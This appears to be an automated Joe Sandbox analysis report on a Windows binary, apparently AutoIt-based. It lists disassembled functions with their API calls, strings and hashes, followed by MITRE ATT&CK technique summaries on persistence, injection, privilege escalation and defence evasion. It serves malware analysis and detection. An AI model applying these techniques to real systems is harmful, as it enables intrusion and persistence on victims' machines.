Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: ea1793bf6ec9e40c61f99d1ef2cc7e680d6310de300fcb73e159f47de0e77646
Instruction ID: f9d0746ea0ffbc0e591234d5d096b1053e54d1ab120eb630d9defff541569f9c
Opcode Fuzzy Hash: ea1793bf6ec9e40c61f99d1ef2cc7e680d6310de300fcb73e159f47de0e77646
Instruction Fuzzy Hash: B9012831621218AB8B08EFA4DC51CFE77E8FF66350B10050AF922572C1EB705969C6A0

Function 00211BD8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 001B9CB3: _wcslen.LIBCMT ref: 001B9CBD

Part of subcall function 00213CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00213CCA

SendMessageW.USER32(?,00000180,00000000,?), ref: 00211C46

Strings

ListBox, xrefs: 00211C10
ComboBox, xrefs: 00211BE5

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: c31c4e8bd2ebf556a9da97c5bb1f5a566f623f0ac40ecbc4968b266fa2d0155e
Instruction ID: 1b52fc4a543e04067d6dd6c6521938d8be05288ba82ed66475f7ff06aa430dae
Opcode Fuzzy Hash: c31c4e8bd2ebf556a9da97c5bb1f5a566f623f0ac40ecbc4968b266fa2d0155e
Instruction Fuzzy Hash: 1201A7757A110967CB08EB90D9519FFB7E89F32340F14001AEA0667281EB709E7996F2

Function 00211C5C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 001B9CB3: _wcslen.LIBCMT ref: 001B9CBD

Part of subcall function 00213CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00213CCA

SendMessageW.USER32(?,00000182,?,00000000), ref: 00211CC8

Strings

ListBox, xrefs: 00211C94
ComboBox, xrefs: 00211C69

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: 2111f520068516fa5984f6736567e19b5f2bad50957e07492645a90d3bdd3524
Instruction ID: 9c30a1d3cd8e1b28a12566f205ad6557dfbf76a9a0512fcbdb1b660060922140
Opcode Fuzzy Hash: 2111f520068516fa5984f6736567e19b5f2bad50957e07492645a90d3bdd3524
Instruction Fuzzy Hash: A701A77565111967CF04EB94CA41AFF77E89B32340B140016F90677281EB719F7996F2

Function 001CA4D6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 001CA529

Part of subcall function 001B9CB3: _wcslen.LIBCMT ref: 001B9CBD

Strings

,%(, xrefs: 001CA509
3y , xrefs: 001CA545, 001CA54D, 001CA552

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Init_thread_footer_wcslen
String ID: ,%($3y
API String ID: 2551934079-4283432193
Opcode ID: b26250e7498093433c40f4035daae183153add75dc273f084bd079afb877d5d7
Instruction ID: 0a0812938b8dbd5612a8818dec43cb9c34f6ec32288ea684bbe3174b4ba9b3b6
Opcode Fuzzy Hash: b26250e7498093433c40f4035daae183153add75dc273f084bd079afb877d5d7
Instruction Fuzzy Hash: 5E01F73264161897C50AF768EC5BFAD3368DF25724F90401DFA01572C2DF50DD068A97

Function 00211D68 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46windowCOMMON

Download Yara Rule

APIs

Part of subcall function 001B9CB3: _wcslen.LIBCMT ref: 001B9CBD

Part of subcall function 00213CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00213CCA

SendMessageW.USER32(?,0000018B,00000000,00000000), ref: 00211DD3

Strings

ListBox, xrefs: 00211DA0
ComboBox, xrefs: 00211D75

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: 43926d1312a706a43e345d44e6a048b455adfd5633b8bd4725ed77627f13425a
Instruction ID: 228ad58346277c3532aee15ea66527f073b6f50ec9a40ca83417710aa348257c
Opcode Fuzzy Hash: 43926d1312a706a43e345d44e6a048b455adfd5633b8bd4725ed77627f13425a
Instruction Fuzzy Hash: 29F0F971A6121867CB04E7A4DC51BFF77A8AB22340F140915F922672C1EB7059288660

Function 00248172 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00283018,0028305C), ref: 002481BF
CloseHandle.KERNEL32 ref: 002481D1

Strings

\0(, xrefs: 0024818A

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: \0(
API String ID: 3712363035-1880395983
Opcode ID: b782c8b4e2c6c627318ff791b58372631c65e82a638780f205cf3dc17a71097e
Instruction ID: 1ddd088edf47272c4b3633d07ca7125892ec8636e78d2f55c91860486be5ff5a
Opcode Fuzzy Hash: b782c8b4e2c6c627318ff791b58372631c65e82a638780f205cf3dc17a71097e
Instruction Fuzzy Hash: 79F054B9652300BAE320AB65BC49F773A5CEB15F54F004461FB08D51A1D6759A1093B5

Function 0023747E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00237493
_wcslen.LIBCMT ref: 002374B9

Strings

3, 3, 16, 1, xrefs: 00237483

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: _wcslen
String ID: 3, 3, 16, 1
API String ID: 176396367-3042988571
Opcode ID: f98cd245714e4586d92bfd5cf06ec86d3c044867685a2580b468702b9990313f
Instruction ID: d128cb1e136ccefc27b72f7dffb3b4dc795a9cb6103b6a28dc287ff08c3175f3
Opcode Fuzzy Hash: f98cd245714e4586d92bfd5cf06ec86d3c044867685a2580b468702b9990313f
Instruction Fuzzy Hash: A4E0ABC6224321229234133A9CC197F4699CFDE350B10082BFA84C2366EBA49CB1C3A0

Function 00210B15 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00210B23

Strings

AutoIt, xrefs: 00210B17
Error allocating memory., xrefs: 00210B1C

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Message
String ID: AutoIt$Error allocating memory.
API String ID: 2030045667-4017498283
Opcode ID: 2d8edf4a5c8cf38b927ddf149f15758e12f984700ea3d90019eddbf5c12e1287
Instruction ID: 1fb6cafaa1ad03e7aaa4aad8b3027956c632c5c0f6de793dad35e7f0350217fd
Opcode Fuzzy Hash: 2d8edf4a5c8cf38b927ddf149f15758e12f984700ea3d90019eddbf5c12e1287
Instruction Fuzzy Hash: C8E0D83129531837D2143799BC43FC97B888F26B20F20442FF748555C38BE164A006E9

Function 001D0D42 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 001CF7C9: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,001D0D71,?,?,?,001B100A), ref: 001CF7CE

IsDebuggerPresent.KERNEL32(?,?,?,001B100A), ref: 001D0D75
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,001B100A), ref: 001D0D84

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 001D0D7F

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 55579361-631824599
Opcode ID: c66b4b3c7851bb218eb9fe36a297de7753135dc6b2e145143fe9a5d52c94f9ad
Instruction ID: 01154ba2413158e7ac9cb9f3a644794d598470c9e5a7e49c0edc268728c4e4ae
Opcode Fuzzy Hash: c66b4b3c7851bb218eb9fe36a297de7753135dc6b2e145143fe9a5d52c94f9ad
Instruction Fuzzy Hash: 41E06D742007018BD3A1DFBCE5087827BE6AB18741F00892EE886C6751DBF4E4448BA1

Function 001CE398 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 001CE3D5

Strings

8%(, xrefs: 001CE3CA
0%(, xrefs: 001CE3B5

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Init_thread_footer
String ID: 0%($8%(
API String ID: 1385522511-1269923376
Opcode ID: a8ae189c5ad446aea039b3c7082e50b3164649b166a72afc16246ee5b46c98ac
Instruction ID: 3c72ebb03c3e15cecdd947367ccec0a9f4ab6553cb2eb1bb387e1fc66ac3a947
Opcode Fuzzy Hash: a8ae189c5ad446aea039b3c7082e50b3164649b166a72afc16246ee5b46c98ac
Instruction Fuzzy Hash: 59E020354A2950CBC60DA758B65DF4833D1FB3A320B94216DE001475D19B38B8458745

Function 00223017 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?,00000001), ref: 0022302F
GetTempFileNameW.KERNEL32(?,aut,00000000,?), ref: 00223044

Strings

aut, xrefs: 00223038

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Temp$FileNamePath
String ID: aut
API String ID: 3285503233-3010740371
Opcode ID: 857b62b8f027c673d853ef79fae529f0bc9223780ebd0fe934626e32a8ee5a65
Instruction ID: 57dd727026c1e99c3fdf19810af352fd9aac1192b0334d3c600c5b099349fa21
Opcode Fuzzy Hash: 857b62b8f027c673d853ef79fae529f0bc9223780ebd0fe934626e32a8ee5a65
Instruction Fuzzy Hash: 2DD05E7650132867DB60E7A8AC0EFCB3A6CDB06750F0002A1BA55E2091DAF09984CAD4

Function 0020D21C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 0020D220

Strings

X64, xrefs: 0020D2A8
%.3d, xrefs: 0020D22B

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: LocalTime
String ID: %.3d$X64
API String ID: 481472006-1077770165
Opcode ID: dc2dd836c5533433e3dffb4b9664a5b0bf97ae191c0e99d27efa821645571c36
Instruction ID: c3a8246ddff8426f00d8fdaeecbe3cf87b4ff57f1154181441572c2c08c16e21
Opcode Fuzzy Hash: dc2dd836c5533433e3dffb4b9664a5b0bf97ae191c0e99d27efa821645571c36
Instruction Fuzzy Hash: 1DD0126582A318EECB9096D4DC49DBAB37CAB19301F608466FC0A91083D7B4D5286B61

Function 00242322 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0024232C
PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 0024233F

Part of subcall function 0021E97B: Sleep.KERNEL32 ref: 0021E9F3

Strings

Shell_TrayWnd, xrefs: 00242325

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: e363feeece95f1e7182143f57a5c239de56a0685ebe9803484d7d87acde155f4
Instruction ID: 1a429747ec781dcf9945cb32626ca5b818d35a598d7f2fcbcbedee680eb055ac
Opcode Fuzzy Hash: e363feeece95f1e7182143f57a5c239de56a0685ebe9803484d7d87acde155f4
Instruction Fuzzy Hash: 38D0227A3E1300B7E6ACB330EC0FFCABA189B01B00F118902770AAA0D0C8F0A800CE00

Function 00242356 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0024236C
PostMessageW.USER32(00000000), ref: 00242373

Part of subcall function 0021E97B: Sleep.KERNEL32 ref: 0021E9F3

Strings

Shell_TrayWnd, xrefs: 00242365

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: e397802a148695a5c7a2e4e68ab203d1c9dd54fc052e16a1fd93a2f3caa1f329
Instruction ID: 80563e2d31249e039cfa295a2de972c903612479acf86070077fb524c7032412
Opcode Fuzzy Hash: e397802a148695a5c7a2e4e68ab203d1c9dd54fc052e16a1fd93a2f3caa1f329
Instruction Fuzzy Hash: E5D0A9763D23007AE6A8A330AC0FFCAA6189B02B00F1189027706AA0D0C8B0A8008A04

Function 001EBDFD Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000009,?,00000000,00000000,?,?,?,00000000,?,?,?,?,?,00000000,?), ref: 001EBE93
GetLastError.KERNEL32 ref: 001EBEA1
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 001EBEFC

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: 3f40aa5e66dd7a106d022d467917174ac3685f24f052aad5d86b2d31223f0e02
Instruction ID: 4851e07c72bcd395b7c21de86cc4458584f87ac6b8f8e64494a285381fb98152
Opcode Fuzzy Hash: 3f40aa5e66dd7a106d022d467917174ac3685f24f052aad5d86b2d31223f0e02
Instruction Fuzzy Hash: 24411A34609A86AFCF258F6ADCD4ABF7BA4EF42310F254169F959572A1DB308D01CB60

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
